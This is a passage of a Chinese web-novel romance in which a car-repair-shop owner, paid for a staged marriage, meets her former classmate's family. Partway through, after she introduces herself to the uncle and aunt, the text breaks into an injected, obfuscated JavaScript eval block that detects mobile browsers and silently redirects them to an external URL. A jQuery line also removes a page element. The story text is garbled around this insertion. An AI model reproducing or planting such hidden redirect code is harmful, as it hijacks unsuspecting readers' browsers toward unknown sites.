说完,易年手掌轻轻覆盖住夏树的肩膀,搂着她往前走了两步。 肩上突然多了只手,夏树惊觉别扭,下意识耸了下肩,将他的手从肩上打掉,径直出了酒店。 易年一言不发跟在她身后,直到上了车才问:“你刚刚为什么不让我搭着你的肩?” 语气强势紧绷,似乎还有点生气。 夏树真的不习惯那样亲昵的举动,并且不知道此刻易年生着什么莫名其妙的气。 她抱起双臂:“我不会自己走吗,干嘛还让你搭着我?没有预兆突然伸过来一只手,想吓谁?” 一阵沉默。 易年的声音松了下来,却仍冷淡:“我只是觉得,我们应该提前适应一下公开场合的某些必要接触,比如,牵手,比如搂肩,毕竟我们马上就要结婚了。” “……” 牵手,搂肩,虽然想象着那个画面很奇怪,但好像也有点道理。 “好吧,那我下次注意!” “但,你刚刚是在凶我,怪我吗?” 易年把头一偏,神色倨傲:“没有,我只是——” “只是什么?” “没什么。” “……”夏树努着嘴睇着他,“虽然我拿了你的钱,但是我也会替你办事,原则上来讲,我们是合作关系,不是主顾关系,今后你可别在我面前耍脾气。” “没问题。”易年挑眉,“那现在跟我走吧。” “去哪?” “替我办事。” 24. 第 24 章 虽说易年亲口说过他不是“那种人”,但自从夏树知道跟他共渡过一夜后,看他每一眼的感觉都跟从前不太一样。 包括此刻,听他说“替我办事”,夏树不过大脑萌生的第一个念头居然是干夫妻间那些不可描述的事。 好在这样不理智的幻想仅仅停留了一秒。 她调整坐姿,清了清嗓:“干嘛?” “见家长。” “见家长?现在?” 易年挑眉点了点头。 见家长……会不会太快了点? 夏树开始怀疑自己跟他的这一桩交易是否太冲动了,任何细节都没谈明白就稀里糊涂收了钱。 还不知道他具体需要她做些什么,比如她完全还不习惯的牵手搂肩,再比如敲定交易后几个小时就要见家长。 “怎么了,下午有事?”他问。 “倒是也没什么特别的事,”夏树语调放慢,像是在逃避,“只是这几天汽修厂里太忙了。” 易年手指轻点方向盘,思忖片刻:“平时生意怎么样,每天收入大概多少?” 夏树认真回忆:“嗯……还真不好说,少的时候每天几百块,要是一天能来好几笔大的,大几千也有可能。” 易年垂眼,戳了几下手机,夏树微信响了一声,点开来看是他转过来的9999。 夏树亮着手机屏幕:“你这是?” 易年轻掀眼帘,神色散漫:“我这边的加班费,就抵消你今天厂里的大单了。” “还有这种说法?”夏树觉得易年是钱多人傻,“但你转那么多过来干嘛?” “多吗?不是你自己说的,大几千。” “……” 长见识了,有钱人的一万差一块只叫做,大几千。 夏树“啧”着晃了晃脑袋:“不用,我退给你,你怕不是忘了几个小时前我才收了你八十万。” 她还没完成退款,手机就被易年抢了过去。 他声音强硬:“别退了,就当补偿。这次是我临时叫你去见家长,打乱了你的计划,下次我会提前跟你约好。” “其实我也没有什么特别的计划,直接跟你去就行了,这钱不用!” 她想把手机抢回来,易年先一步点了收款。 他瘪瘪嘴,满是不耐烦:“这么点钱,转过来转过去麻不麻烦!” “……” 夏树鄙夷地盯着他。 说好听点,他是活财神,说难听点,这不就是妥妥的大冤种吗! 手机被锁了屏才递到夏树面前。 虽然不太踏实,但夏树也没再继续纠结这离一万只差一块的大几千。 她收起手机,思索片刻,垂头看着自己的牛仔裤和烟灰色修身针织坎肩,试探道:“那我跟你去见家长,要不要搞个什么从头到尾的大改造?” “大改造?” “就是你坐在旁边,然后我一套一套地换衣服给你看,挑好衣服还要去做头发化妆那种。” 易年起先凝眉认真听他讲,到最后直接憋不住,噗嗤笑出了声:“我说你土不土,是不是玛丽苏豪门狗血电视剧看多了!” 夏树:“……” - 易年说每周六都是他家的家庭日,所有家人都会在祖母家聚餐,今天正好是周六。 夏树原来跟易年去过一次祖母家,那时候她家在离阳市里的一个别墅区,这次居然没往原来那里去,眼看着就快到夏树的鑫鑫汽修厂。 夏树好奇发问:“我记得你祖母家不在这边吧,怎么会往这里走?” 易年神色无常:“之前你去过的那里,祖母只住了半年,后来她说在三清待了大半辈子,还是不习惯城市环境,就在城边买了农家小院和土地,闲暇时种种葡萄。” 易年家离阳市里的酒庄说起来只是红酒会所,只摆着成品红酒,他家最核心的酒庄在三清镇,那里有百亩葡萄园和酒窖,离和庄村不远,原来易年几乎每个周末都会去那里。 高二那年暑假,易年邀请班上的同学去三清的酒庄玩,夏树去过一次。 地处一个山清水秀的村落,除了他家酒庄所包含在内的葡萄园,那一片全是农户和农田,确实没有半分城市气息。 夏树了然,点了点头。 易年又说:“要不是经常走的那边修路,我都不知道祖母家居然离你这么近。” 他的侧脸看不出表情,听着语气却夹杂着浅淡的不快。 夏树的注意力只放在修路上,她也觉得不称心:“是啊,怎么不早点修,开始修路以后,我的营业额直接涨翻了!” 不知易年觉得她财迷还是作何感想,他没说话,哼笑一声,轻轻地勾起了唇。 不多时,车子停在易年祖母家院外。 高高的铁艺大门旁有一间矮小狗屋,大黄狗睡在狗屋旁边的阴凉处,闻声抬头看了一眼停在院外的车,吐了吐舌,又将脑袋趿拉下去。 看了眼已经停好的两辆车,易年说:“易雯溪和她爸妈已经到了,待会儿其他人陆陆续续也会来,如果有人会问你我们两的情况,在我上次去你修理厂前发生的事你都可以如实说,剩下的交给我。” 要在整个易家人面前撒谎,突然有一种罪恶感夹杂着兵临城下的感觉攀上夏树的心头,她的心脏突突直跳。 “好!” 她做了个深呼吸顺了顺气,脑子里蹦出一些莫名其妙的豪门剧情来:“唉,你说待会儿他们会不会丢张支票给我,然后让我离开你啊!” 易年又被夏树的脑洞逗笑,意味深长地看了她几秒,然后一脸认真地问:“那你会离开我吗?” 被易年问得有些发懵,夏树眯了眯眼:“我应该会,还是应该不会?” 易年语气闲散又意有所指:“你才收了我的钱,忘了?” 夏树玩笑地努了努嘴:“那万一他们给得更多呢?” 易年模样坦然,慢条斯理道:“如果你被他们收买了,到时候我就去鑫鑫汽修厂门口拉横幅,说老板是骗子!” “……” 下车后,夏树缩在易年身后,像是生怕被别人看见似的。 没走几步易年就停了下来,摊开手掌:“给我。” “什么?” “手。” 他说的是把夏树的手给他?要牵手的意思? 很别扭! 真的很别扭…… “要在这牵手?” “不然呢!”易年歪着头瞟了眼地上的大黄狗,催促道,“快点,大黄还看着呢!” “……” 夏树:关狗子什么事? 虽然之前做过思想建设,但当此刻真要牵手了,夏树却开始紧张了。 她先把手微微后缩,大拇指刮了刮掌心的茧,做了个吞咽动作,缓慢抬手,在即将落到易年手心时悬停半空,仰头与易年对视。 “我手上太糙了,你别嫌硌。” 院子正中的大榕树枝叶扶疏,下午两点明亮的阳光从树叶间穿梭,点点投射在易年的脸上。 他的视线一直没有从夏树脸上移开,眸中分辨不清是何种意味。 下一秒,夏树感觉到他宽厚柔软的手掌迎了上来。 “走吧。” 夏树的心脏加速跳动。 她想,可能是即将“见家长”,所以太紧张了。 - “不是吧,你小子——” 易雯溪见到易年和夏树牵着手进了家门,惊得从沙发上站了起来,一时不知该说什么。 夏树先冲她喊了声姐姐好,她很快缓过神来,脸上带笑,意味深长地点点头:“嗯,可以可以。” 易年拉着夏树去到大伯和大伯母旁:“大伯,大伯母。” 大伯和大伯母也从沙发起身,大伯母走过来自然地扶着夏树的手臂:“这位是?” “跟你们介绍一下,她叫夏树,目前是我女朋友。”易年面对夏树,“这是我的大伯和大伯母,也就是我姐的父母。” 夏树在一旁佯装乖巧,很快就摆正了自己的身份:“大伯,大伯母,你们好,我叫夏树,夏天的夏,大树的树。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13203475|137698||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>两位长辈没有夏树想象中有钱人家用鼻子看人的模样,反而是意料之外的亲切。 想了想,原来见易年祖母,她同样和蔼可亲,还有易雯溪,天生自来熟。 应该是这个家里氛围一向都温馨和睦吧。 跟她的那个家,截然相反。 大伯也上前一步拍了拍易年的肩膀:“年年还是第一次带女朋友回来,等下午凉快点了,带她到你祖母的花园逛逛。” 易年的耳根发红,夏树在他脸上察觉出不太显眼的害羞。 还挺,难得一见。 “年年!” 说话间,客厅玄关传来了一个中年女人的声音。 屋内的几人朝玄关看过去。 易年:“爷爷,奶奶,爸,妈。” 易雯溪和大伯大伯母也挨个向四人打了招呼。 李妍玲走在四人前头,见易年和夏树紧牵着的手:“年年,我刚听见你大伯说,这位是……你的女朋友?” “是的,妈。” 几人带着疑惑和惊讶的神色靠近客厅中央,夏树感觉自己手心已经开始冒汗。 稳了稳心神,她挨个向四人打了招呼。 李妍玲脸上的惊讶很快就被欣喜取代:“你好,我们是不是见过?感觉,很眼熟。” 易年镇定道:“是的,妈,你和我爸都见过她,她是我高中三年的同桌,叫夏树。” 思量片刻,李妍玲终于想起来了,她挽着易其东的手:“老易你还记得吗,她原来去过三清,那时候年年每周都让当时的孙师傅送她回家来着。”她转向夏树,“对吧,我没记错吧!” 夏树没想到易年的母亲还记得自己,更没想到易年的家人对她完全没有排斥的意思。 这一趟来的目的是演戏,当着他所有的亲人说谎。 她顿觉良心不安,抿了抿唇,虚声说道:“是的,阿姨。” 易年的父亲像没有想起,却也亲切地跟夏树说了声你好。 他的爷爷奶奶在后面也渐渐从惊讶中缓和过来。 易年再次顺着叫着几位长辈。 夏树感觉她的手被抓得更紧了些。 “我今天带她过来,是想跟你们说,”他回过头看着夏树,目光坚定,停顿两秒,“我要跟她结婚。” 听见结婚二字,几乎所有人都眼前一亮。 “来来,我们坐下说。”易年奶奶招呼所有人坐下,差保姆倒了茶水上了点心,又把保姆支开,“你去看看老太太,她醒了的话先不着急让她出来。” 全部人坐下后,易年终于将夏树的手松开,她的手心果然全是汗,甚至额前的发丝也因集中的汗粒而紧贴皮肤。 易年的爷爷还未发话,但夏树记得上次李若尔说是易爷爷要求易年结婚的。 夏树还在琢磨着,易年就先开了口:“爷爷,接任那天你说让我结婚,我听进去,所以我今天把人带来了,她已经答应我求婚了,我们会尽快结婚。” 易年爷爷模样和善,斟酌一番:“嗯,你答应结婚自然是好事,不过……” 他意味深长地看向夏树,“小丫头,这里没有外人,接下来我说的话可能不受听,你别介意!” 夏树:“不会的,爷爷。” 易爷爷心平气和:“年年,李家小丫头来我这里告过状,说你为了气她,随便找了个人就说要给钱让她跟你结婚,她说的应该不是这个夏丫头吧?” 听到这里,夏树深吸一口气:这场戏不会还没开始就要结束了吧…… 那已经躺在自己银行卡里的那笔钱可怎么办?! 易年温和的眼神指向夏树:“爷爷,李若尔说的那个人是她。” 夏树:“???” ……真的gameover了? “其实,要我这样一个硬脾气的人说出来这些话,还挺羞耻的。” 易年脸颊逐渐染上红晕,轻呼了口气。 他转过头,与夏树的目光不偏不倚触到一起:“你可能都不知道,我一直喜欢你,从高中开始到现在,刚好十年。”